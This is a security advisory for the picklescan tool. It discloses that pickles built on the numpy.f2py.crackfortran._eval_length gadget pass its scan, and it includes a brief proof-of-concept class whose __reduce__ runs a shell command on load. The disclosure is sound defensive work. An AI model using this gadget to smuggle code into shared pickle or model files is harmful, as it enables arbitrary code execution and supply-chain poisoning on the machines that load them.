mmaitre314/picklescan · Security
Picklescan is vulnerable to RCE through missing detection when calling numpy.f2py.crackfortran._eval_length
- GHSA ID
- GHSA-6556-fwc2-fg2p
- CVE ID
- CVE-2025-71339
- Severity
- medium
- Published
- Updated
- CVSS
- 8.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- CVSS v3
- 8.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
- CVSS v4
- 6.7 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Description
Summary
Picklescan uses the numpy.f2py.crackfortran._eval_length function (a NumPy F2PY helper) to execute arbitrary Python code during unpickling.
Details
Picklescan fails to detect a malicious pickle that uses the gadget numpy.f2py.crackfortran._eval_length in __reduce__, allowing arbitrary command execution when the pickle is loaded. A crafted object returns this function plus attacker‑controlled arguments; the scan reports the file as safe, but pickle.load() triggers execution.
PoC
class PoC:
def __reduce__(self):
from numpy.f2py.crackfortran import _eval_length
return _eval_length, ("__import__('os').system('whoami')", None)
Impact
- Arbitrary code execution on the victim machine once they load the “scanned as safe” pickle / model file.
- Affects any workflow relying on Picklescan to vet untrusted pickle / PyTorch artifacts.
- Enables supply‑chain poisoning of shared model files.
Credits
CWEs
- CWE-94 · Improper Control of Generation of Code ('Code Injection')
- CWE-502 · Deserialization of Untrusted Data
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-6556-fwc2-fg2p ↗
- https://github.com/mmaitre314/picklescan/pull/53 ↗
- https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab ↗
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33 ↗
- https://nvd.nist.gov/vuln/detail/CVE-2025-71339 ↗
- https://github.com/advisories/GHSA-6556-fwc2-fg2p ↗
- https://github.com/mmaitre314/picklescan ↗
- https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-1783.yaml ↗
- https://pypi.org/project/picklescan ↗
- https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-numpy-f2py-crackfortran-eval-length-gadget ↗